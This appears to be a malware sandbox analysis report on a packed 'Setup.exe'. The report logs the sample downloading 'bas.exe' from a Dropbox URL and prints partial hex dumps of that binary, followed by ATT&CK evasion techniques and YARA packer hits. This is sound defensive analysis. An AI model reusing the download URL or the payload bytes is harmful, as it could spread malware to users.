2024-12-23 00:21:04 UTC	17	IN	Data Raw: 3c 21 2d 2d 73 74 61 74 75 73 3d 33 30 32 2d 2d 3e Data Ascii: ...status=302-->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	162.125.69.15	443	6652	C:\Users\user\Desktop\Setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 00:21:06 UTC	305	OUT	GET /cd/0/get/CgxL_sGgMmenlNr7FuMdTwdE1QOtLEAvyvMdrq-bulTjKCVTsfTR1GGgVvibEnL4VKGXy7fhr9VgzYQYFYL4SrP7TlgvcKyh7J8kKb_KDnhLX7mQlWP1127kJQEUEtdVPKaLqIMqjXhd4ZMQlHSKE0tJ/file?dl=1 HTTP/1.1 User-Agent: HTTPS Downloader Host: uc4987246912bb9eda67e3cacd9c.dl.dropboxusercontent.com Connection: Keep-Alive
2024-12-23 00:21:07 UTC	733	IN	HTTP/1.1 200 OK Content-Type: application/binary Accept-Ranges: bytes Cache-Control: max-age=60 Content-Disposition: attachment; filename="bas.exe"; filename*=UTF-8''bas.exe Content-Security-Policy: sandbox Etag: 1734873502987827d Pragma: public Referrer-Policy: no-referrer Vary: Origin X-Content-Security-Policy: sandbox X-Content-Type-Options: nosniff X-Robots-Tag: noindex, nofollow, noimageindex X-Server-Response-Time: 201 X-Webkit-Csp: sandbox Date: Mon, 23 Dec 2024 00:21:07 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Length: 13164032 X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: b5fbec5b124648879208a61484981994 Connection: close
2024-12-23 00:21:07 UTC	15651	IN	Data Raw: 4d 5a 78 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 09 00 37 0f 68 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 00 00 9c 0a 00 00 3e be 00 00 00 00 00 58 3a 09 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 04 00 00 00 0a 00 00 00 04 00 00 00 00 00 00 00 00 60 c9 00 00 04 00 00 82 0d c9 00 02 00 60 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEd7hg">X:@``
2024-12-23 00:21:07 UTC	16384	IN	Data Raw: fc 8b 8d c4 00 00 00 8b 15 10 18 af 00 44 8b 05 0d 18 af 00 c1 e2 07 41 c1 e8 19 44 09 c2 81 f2 e7 0e c6 cc 44 8b 05 fa 17 af 00 44 8b 0d f7 17 af 00 45 69 c0 dd 23 20 2d 45 69 c9 97 43 3d b6 45 01 c8 41 81 c0 b0 34 b6 e0 39 c1 44 0f 44 c2 44 89 85 a4 00 00 00 8b 85 c4 00 00 00 8b 8d a4 00 00 00 48 8b 95 e0 00 00 00 48 89 95 38 01 00 00 8b 95 80 01 00 00 89 95 90 01 00 00 48 8b 95 60 01 00 00 48 89 95 30 01 00 00 48 8b 95 48 01 00 00 48 89 95 28 01 00 00 48 8b 95 d8 00 00 00 48 89 95 20 01 00 00 89 85 8c 01 00 00 48 8b 85 e8 00 00 00 48 89 85 18 01 00 00 48 8b 85 50 01 00 00 48 89 85 10 01 00 00 48 8b 85 68 01 00 00 48 89 85 08 01 00 00 48 8b 85 70 01 00 00 48 89 85 00 01 00 00 48 8b 85 58 01 00 00 48 89 85 f8 00 00 00 48 8b 85 78 01 00 00 48 89 85 f0 00 Data Ascii: DADDDEi# -EiC=EA49DDDHH8H`H0HHH(HH HHHPHHhHHpHHXHHxH
2024-12-23 00:21:07 UTC	733	IN	Data Raw: 44 24 50 66 8b 44 24 2e 66 89 44 24 2a 66 8b 44 24 28 66 89 44 24 2c 8b 44 24 3c 89 44 24 34 8b 44 24 30 89 44 24 38 e9 f9 09 00 00 b8 01 00 00 00 81 7c 24 30 30 b5 2a fa b9 00 00 00 00 48 0f 44 c8 48 89 4c 24 48 48 8b 44 24 40 48 89 44 24 50 66 8b 44 24 2e 66 89 44 24 2a 66 8b 44 24 28 66 89 44 24 2c 8b 44 24 3c 89 44 24 34 8b 44 24 30 89 44 24 38 e9 ab 09 00 00 b8 01 00 00 00 81 7c 24 30 34 dc 99 f6 b9 00 00 00 00 48 0f 4c c8 48 89 4c 24 48 e9 8b 09 00 00 b8 01 00 00 00 81 7c 24 30 34 dc 99 f6 b9 00 00 00 00 48 0f 44 c8 48 89 4c 24 48 48 8b 44 24 40 48 89 44 24 50 66 8b 44 24 2e 66 89 44 24 2a 66 8b 44 24 28 66 89 44 24 2c 8b 44 24 3c 89 44 24 34 8b 44 24 30 89 44 24 38 e9 3d 09 00 00 b8 01 00 00 00 81 7c 24 30 6b d7 19 dd b9 00 00 00 00 48 0f 44 c8 48 Data Ascii: D$PfD$.fD$fD$(fD$,D$<D$4D$0D$8\|$00HDHL$HHD$@HD$PfD$.fD$fD$(fD$,D$<D$4D$0D$8\|$04HLHL$H\|$04HDHL$HHD$@HD$PfD$.fD$fD$(fD$,D$<D$4D$0D$8=\|$0kHDH
2024-12-23 00:21:07 UTC	16384	IN	Data Raw: 89 44 24 34 8b 44 24 30 89 44 24 38 e9 37 07 00 00 b8 01 00 00 00 81 7c 24 30 d4 79 04 a3 b9 00 00 00 00 48 0f 4c c8 48 89 4c 24 48 e9 17 07 00 00 b8 01 00 00 00 81 7c 24 30 bf a8 1b aa b9 00 00 00 00 48 0f 4c c8 48 89 4c 24 48 e9 f7 06 00 00 b8 01 00 00 00 81 7c 24 30 bf a8 1b aa b9 00 00 00 00 48 0f 44 c8 48 89 4c 24 48 48 8b 44 24 40 48 89 44 24 50 66 8b 44 24 2e 66 89 44 24 2a 66 8b 44 24 28 66 89 44 24 2c 8b 44 24 3c 89 44 24 34 8b 44 24 30 89 44 24 38 e9 a9 06 00 00 b8 01 00 00 00 81 7c 24 30 d4 79 04 a3 b9 00 00 00 00 48 0f 44 c8 48 89 4c 24 48 48 8b 44 24 40 48 89 44 24 50 66 8b 44 24 2e 66 89 44 24 2a 66 8b 44 24 28 66 89 44 24 2c 8b 44 24 3c 89 44 24 34 8b 44 24 30 89 44 24 38 e9 5b 06 00 00 b8 01 00 00 00 81 7c 24 30 6a f3 f3 8e b9 00 00 00 00 Data Ascii: D$4D$0D$87\|$0yHLHL$H\|$0HLHL$H\|$0HDHL$HHD$@HD$PfD$.fD$fD$(fD$,D$<D$4D$0D$8\|$0yHDHL$HHD$@HD$PfD$.fD$fD$(fD$,D$<D$4D$0D$8[\|$0j
2024-12-23 00:21:07 UTC	16384	IN	Data Raw: de 00 00 00 eb 00 48 89 c1 48 81 e9 dd a7 c1 59 0f 84 9a 01 00 00 eb 00 48 89 c1 48 81 e9 95 e6 f3 6f 0f 84 4e 01 00 00 eb 00 b9 fa 26 2d 81 48 89 c2 48 29 ca 0f 84 c7 00 00 00 eb 00 b9 d1 12 a4 95 48 89 c2 48 29 ca 74 78 eb 00 b9 c4 f5 35 e2 48 89 c2 48 29 ca 74 4a eb 00 b9 dc 4c 2c f2 48 29 c8 0f 84 35 02 00 00 e9 57 02 00 00 48 8b 44 24 58 48 89 44 24 30 e9 4a 02 00 00 48 83 7c 24 40 01 75 0f 48 8b 44 24 58 48 89 44 24 30 e9 33 02 00 00 48 8b 44 24 70 48 89 44 24 30 e9 24 02 00 00 8b 44 24 54 89 44 24 20 8b 44 24 50 89 44 24 24 48 8b 44 24 68 48 89 44 24 38 e9 03 02 00 00 b8 01 00 00 00 81 7c 24 20 3f ed 85 46 b9 00 00 00 00 48 0f 4c c8 48 89 4c 24 40 e9 e3 01 00 00 b8 01 00 00 00 81 7c 24 20 06 44 5b 68 b9 00 00 00 00 48 0f 4c c8 48 89 4c 24 40 e9 c3 Data Ascii: HHYHHoN&-HH)HH)tx5HH)tJL,H)5WHD$XHD$0JH\|$@uHD$XHD$03HD$pHD$0$D$TD$ D$PD$$HD$hHD$8\|$ ?FHLHL$@\|$ D[hHLHL$@
2024-12-23 00:21:07 UTC	16384	IN	Data Raw: 5c fc ff ff 4c 89 e8 4c 89 fa 41 b8 82 92 7b cd e9 4b fc ff ff 4c 89 e8 4c 89 fa 41 89 c8 0f 85 3c fc ff ff 48 8b 0b 48 83 ec 20 ff 15 7f d1 c2 00 48 83 c4 20 69 0d 79 98 ae 00 91 0b af f1 69 15 73 98 ae 00 94 d8 c2 27 44 69 05 6c 98 ae 00 49 20 36 db 44 69 0d 65 98 ae 00 43 21 a5 72 48 85 c0 8d 8c 11 ea 78 21 20 44 89 ca 45 8d 84 10 28 32 0f a5 44 0f 44 c1 4c 89 fa e9 e0 fb ff ff 4c 89 fa 41 89 c8 0f 85 d4 fb ff ff 48 8b 05 95 a4 ae 00 4c 01 e0 48 83 ec 20 4c 89 e9 8b 55 04 ff d0 48 83 c4 20 49 89 06 48 89 c2 4c 89 e8 41 b8 20 2c bc f7 e9 a6 fb ff ff 41 89 c8 0f 85 9d fb ff ff 4c 89 e8 4c 89 fa 41 b8 f3 ee 94 8d e9 8c fb ff ff 4c 89 f8 48 8d 65 08 5b 5f 5e 41 5c 41 5d 41 5e 41 5f 5d c3 0f 1f 84 00 00 00 00 00 48 83 ec 40 48 89 c8 48 29 d0 45 89 c0 44 8b Data Ascii: \LLA{KLLA<HH H iyis'DilI 6DieC!rHx! DE(2DDLLAHLH LUH IHLA ,ALLALHe[_^A\A]A^A_]H@HH)ED
2024-12-23 00:21:07 UTC	16384	IN	Data Raw: 4c 71 c5 48 0f af d1 45 01 c1 44 89 c9 80 c1 b0 48 d3 ea 89 d1 69 15 e9 5e ae 00 93 4c 51 43 44 69 05 e2 5e ae 00 a4 37 19 37 44 01 c2 81 c2 c6 3c 52 8d 0f af d1 29 d0 48 83 c4 28 c3 0f 1f 00 48 83 ec 28 48 b8 25 83 03 b6 0c 58 61 47 48 03 05 3b 67 ae 00 ff d0 89 c1 48 8b 15 b0 5e ae 00 4c 8b 05 b1 5e ae 00 49 0f ac d0 1d 48 ba 79 14 1b bc 01 bc e4 c4 4c 31 c2 44 69 05 9c 5e ae 00 bc 69 04 67 44 69 0d 99 5e ae 00 e1 14 6c 04 48 0f af d1 45 01 c1 44 89 c9 80 c1 15 48 d3 ea 89 d1 69 15 85 5e ae 00 a7 78 47 a4 44 69 05 7e 5e ae 00 91 03 ea 65 44 01 c2 81 c2 7d 31 c1 8c 0f af d1 29 d0 48 83 c4 28 c3 0f 1f 80 00 00 00 00 48 83 ec 28 48 b8 34 4d 4a af 75 73 3e ab 48 03 05 b3 66 ae 00 ff d0 89 c1 48 ba c4 a5 73 e3 9a e6 53 b8 48 0f af 15 3d 5e ae 00 49 b8 ba 82 Data Ascii: LqHEDHi^LQCDi^77D<R)H(H(H%XaGH;gH^L^IHyL1Di^igDi^lHEDHi^xGDi~^eD}1)H(H(H4MJus>HfHsSH=^I
2024-12-23 00:21:07 UTC	16384	IN	Data Raw: c4 20 49 89 06 48 8b 05 1c a7 b4 00 4c 01 f8 48 83 ec 20 48 89 d9 ff d0 48 83 c4 20 48 8b 15 0d a7 b4 00 4c 01 fa 48 83 ec 20 48 89 c1 ff d2 48 83 c4 20 4c 03 3d fe a6 b4 00 48 83 ec 20 48 89 f1 48 89 c2 4d 89 f0 49 89 f9 41 ff d7 48 83 c4 20 48 89 f0 48 8d 65 08 5b 5f 5e 41 5e 41 5f 5d c3 66 66 66 66 66 66 2e 0f 1f 84 00 00 00 00 00 48 b8 8f 5c 17 eb 26 8c 3b a0 48 03 05 bf a6 b4 00 48 ff e0 66 66 66 2e 0f 1f 84 00 00 00 00 00 48 b8 8c b0 e6 91 f3 d7 70 cc 48 03 05 a7 a6 b4 00 48 8d 0d 50 51 c2 00 48 ff e0 0f 1f 44 00 00 56 57 48 83 ec 78 48 89 d6 48 83 c1 06 48 89 4c 24 68 48 c7 44 24 40 00 00 00 00 24 01 88 44 24 37 c7 44 24 48 00 00 00 00 c7 44 24 4c 60 32 4c 1a 48 8b 4c 24 40 48 8d 15 33 af b4 00 48 8b 04 ca 4c 8b 44 ca 08 4c 89 44 24 50 48 8b 4c ca Data Ascii: IHLH HH HLH HH L=H HHMIAH HHe[_^A^A_]ffffff.H\&;HHfff.HpHHPQHDVWHxHHHL$hHD$@$D$7D$HD$L`2LHL$@H3HLDLD$PHL
2024-12-23 00:21:07 UTC	16384	IN	Data Raw: 10 02 00 00 89 85 40 02 00 00 48 8b 85 e8 01 00 00 48 89 85 d8 01 00 00 8b 85 0c 02 00 00 89 85 3c 02 00 00 8b 85 14 02 00 00 89 85 38 02 00 00 8b 85 44 02 00 00 89 85 34 02 00 00 48 8b 85 00 02 00 00 48 89 85 d0 01 00 00 48 8b 85 f8 01 00 00 48 89 85 c8 01 00 00 8b 85 48 02 00 00 89 85 30 02 00 00 8b 85 4c 02 00 00 89 85 2c 02 00 00 48 8b 85 80 01 00 00 48 89 85 c0 01 00 00 8b 85 18 02 00 00 89 85 28 02 00 00 8b 85 1c 02 00 00 89 85 24 02 00 00 48 8b 85 88 01 00 00 48 89 85 b8 01 00 00 48 8b 85 90 01 00 00 48 89 85 b0 01 00 00 48 8b 85 98 01 00 00 48 89 85 a8 01 00 00 48 8b 85 f0 01 00 00 48 89 85 a0 01 00 00 8a 85 57 02 00 00 88 85 56 02 00 00 8a 85 54 02 00 00 24 01 88 85 55 02 00 00 8b 85 50 02 00 00 89 85 20 02 00 00 e9 5f 72 00 00 b8 01 00 00 00 81 Data Ascii: @HH<8D4HHHHH0L,HH($HHHHHHHHWVT$UP _r
2024-12-23 00:21:07 UTC	16384	IN	Data Raw: 05 0b 28 b4 00 48 83 ec 20 ff d0 48 83 c4 20 8b 05 1b 12 b4 00 8b 0d 19 12 b4 00 c1 e0 13 c1 e9 0d 09 c8 35 d3 d1 84 de 8b 0d 0a 12 b4 00 8b 15 08 12 b4 00 69 c9 14 40 bb fe 69 d2 5d 38 e6 14 01 d1 81 c1 1e a2 66 d4 8b 15 f2 11 b4 00 44 8b 05 ef 11 b4 00 c1 e2 17 41 c1 e8 09 44 09 c2 81 f2 3a 6b 0d 59 39 c7 0f 44 d1 89 95 ec 00 00 00 8b 85 ec 00 00 00 8b 8d 10 02 00 00 89 8d 40 02 00 00 48 c7 85 d8 01 00 00 00 00 00 00 8b 8d 0c 02 00 00 89 8d 3c 02 00 00 8b 8d 14 02 00 00 89 8d 38 02 00 00 8b 8d 44 02 00 00 89 8d 34 02 00 00 48 8b 8d 00 02 00 00 48 89 8d d0 01 00 00 48 8b 8d f8 01 00 00 48 89 8d c8 01 00 00 8b 8d 48 02 00 00 89 8d 30 02 00 00 8b 8d 4c 02 00 00 89 8d 2c 02 00 00 48 8b 8d 80 01 00 00 48 89 8d c0 01 00 00 8b 8d 18 02 00 00 89 8d 28 02 00 00 Data Ascii: (H H 5i@i]8fDAD:kY9D@H<8D4HHHHH0L,HH(

Target ID:	0
Start time:	19:20:59
Start date:	22/12/2024
Path:	C:\Users\user\Desktop\Setup.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\Setup.exe"
Imagebase:	0x400000
File size:	32'256 bytes
MD5 hash:	4DF8231315F36673367C24D44E728C07
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: INDICATOR_EXE_Packed_Enigma, Description: Detects executables packed with Enigma, Source: 00000000.00000002.2551931711.0000000000400000.00000002.00000001.01000000.00000003.sdmp, Author: ditekSHen Rule: INDICATOR_EXE_Packed_Enigma, Description: Detects executables packed with Enigma, Source: 00000000.00000000.1700497634.0000000000400000.00000002.00000001.01000000.00000003.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	19:22:03
Start date:	22/12/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 6652 -s 864
Imagebase:	0x7ff78eea0000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	21.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	15.3%
Total number of Nodes:	144
Total number of Limit Nodes:	8

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00401638 Relevance: 21.4, APIs: 14, Instructions: 389
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

free.MSVCRT ref: 004016F9

Memory Dump Source

Source File: 00000000.00000002.2551946652.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2551931711.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2551961370.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2551975896.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2551991820.000000000040A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Yara matches

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: ef719e9dc59394c6d0c05a86f114a2b5add11d96b1dc42e096bbca08c36fa3b9
Instruction ID: 062719dc5db17b609bfd76f3376d56652ba8854d1f11e90418f5a1070314bfdd
Opcode Fuzzy Hash: ef719e9dc59394c6d0c05a86f114a2b5add11d96b1dc42e096bbca08c36fa3b9
Instruction Fuzzy Hash: 1FF1BF21701F2488EBA49B2BDC5179A2770B749BC9F4004B69E4DA77E4EE78CE81DB44

Function 0040B5A4 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 208
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcat.MSVCRT ref: 0040B60F
sprintf.MSVCRT ref: 0040B67E

Strings

Library%c, xrefs: 0040B82B
LoadLibraryA, xrefs: 0040B6D1, 0040B70A, 0040B73A, 0040B76A, 0040B7AB, 0040B7DB, 0040B866

Memory Dump Source

Source File: 00000000.00000002.2551991820.000000000040A000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2551931711.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2551946652.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2551961370.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2551975896.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Yara matches

Similarity

API ID: sprintfstrcat
String ID: Library%c$LoadLibraryA
API String ID: 3534513402-1897203988
Opcode ID: 2f1abd44959475461d723fa956506df35d2fff32c5fe7e8b6126fe6ef999bc0e
Instruction ID: b0d9e2dd758a75fc24017813970070c061faec239a2e5c814f8c35b50a8d2ac3
Opcode Fuzzy Hash: 2f1abd44959475461d723fa956506df35d2fff32c5fe7e8b6126fe6ef999bc0e
Instruction Fuzzy Hash: 2291A2A130A7944CEA059F62ACA137E3FA8B749B85F444067DF4DA77A5EA3CC215C34C

Function 004024A4 Relevance: 13.8, APIs: 11, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

free.MSVCRT ref: 004024BC
free.MSVCRT ref: 004024CE
free.MSVCRT ref: 004024E0
free.MSVCRT ref: 004024F2
free.MSVCRT ref: 00402504
free.MSVCRT ref: 00402516
free.MSVCRT ref: 00402528
free.MSVCRT ref: 0040253A
free.MSVCRT ref: 0040254C
free.MSVCRT ref: 0040255E
free.MSVCRT ref: 00402570

Memory Dump Source

Source File: 00000000.00000002.2551946652.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2551931711.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2551961370.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2551975896.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2551991820.000000000040A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Yara matches

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: f7a59068e3bc2eac1d9f38dc7c3691aa6eaa9d231dc99d49e8872c396b5f8cba
Instruction ID: 6508f732d8cf161a6b5855ac1452eaa8d4c4aac832b1802d79961a43e646ca11
Opcode Fuzzy Hash: f7a59068e3bc2eac1d9f38dc7c3691aa6eaa9d231dc99d49e8872c396b5f8cba
Instruction Fuzzy Hash: 34115694321A188CE995EF27AD5A7162B687749FC9FC104279E4E6B3F1EE7CC1098348

Non-executed Functions

Function 00401440 Relevance: 1.3, Strings: 1, Instructions: 12COMMON

Download Yara Rule

Strings

scanf, xrefs: 00401458

Memory Dump Source

Source File: 00000000.00000002.2551946652.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2551931711.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2551961370.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2551975896.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2551991820.000000000040A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Yara matches

Similarity

API ID:
String ID: scanf
API String ID: 0-1199118012
Opcode ID: 9d064604b58ce62df67e285e46a4dea28ff660f7b6422d1aa62223b0e5bc3dd9
Instruction ID: 0fc3664d5d31e1139599a5d07e0d0169bae44e20fd6bede70b6a9a3cfc14f4a6
Opcode Fuzzy Hash: 9d064604b58ce62df67e285e46a4dea28ff660f7b6422d1aa62223b0e5bc3dd9
Instruction Fuzzy Hash: 2BC02B0032010B6CDA607B30EC43390110803003A4F8843354130943F1FC18C10E4118

Function 00402638 Relevance: 9.1, APIs: 6, Instructions: 77
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStartupInfoA.KERNEL32 ref: 00402651
GetCommandLineA.KERNEL32 ref: 00402687
strstr.MSVCRT ref: 004026B2
_strdup.MSVCRT ref: 004026DF
_controlfp.MSVCRT ref: 00402734
GetModuleHandleA.KERNEL32 ref: 00402749

Memory Dump Source

Source File: 00000000.00000002.2551946652.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2551931711.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2551961370.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2551975896.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2551991820.000000000040A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Yara matches

Similarity

API ID: CommandHandleInfoLineModuleStartup_controlfp_strdupstrstr
String ID:
API String ID: 2060743211-0
Opcode ID: 2e6fbda416c76c605122fb0c448b604e21e52c8230f8b30783ba20adff81e02c
Instruction ID: 4024c2df3c5e299e09c1f9cd41216632ee67bee2691b940f4bc4d3817438c7a8
Opcode Fuzzy Hash: 2e6fbda416c76c605122fb0c448b604e21e52c8230f8b30783ba20adff81e02c
Instruction Fuzzy Hash: 1A218D61B01B108DEB109BB7D9543AD33A0B749BE8F500A37EE6DBB7C8DA78C4418B04

Function 00402637 Relevance: 9.1, APIs: 6, Instructions: 63
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStartupInfoA.KERNEL32 ref: 00402651
GetCommandLineA.KERNEL32 ref: 00402687
strstr.MSVCRT ref: 004026B2
_strdup.MSVCRT ref: 004026DF
_controlfp.MSVCRT ref: 00402734
GetModuleHandleA.KERNEL32 ref: 00402749

Memory Dump Source

Source File: 00000000.00000002.2551946652.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2551931711.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2551961370.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2551975896.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2551991820.000000000040A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Yara matches

Similarity

API ID: CommandHandleInfoLineModuleStartup_controlfp_strdupstrstr
String ID:
API String ID: 2060743211-0
Opcode ID: e0f8425408f5b019d431fbdc5673bfc95be7bccd4244e47772f1a43ba0fe666a
Instruction ID: 99c6e38caf607a41d0f9744b9343e1db3c98a9f820c01645d4b293e6b9361819
Opcode Fuzzy Hash: e0f8425408f5b019d431fbdc5673bfc95be7bccd4244e47772f1a43ba0fe666a
Instruction Fuzzy Hash: 282137617017148DEB109BB7D9553AD36A4B349BC8F900837EE4DBB7C8DAB9C4418784

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
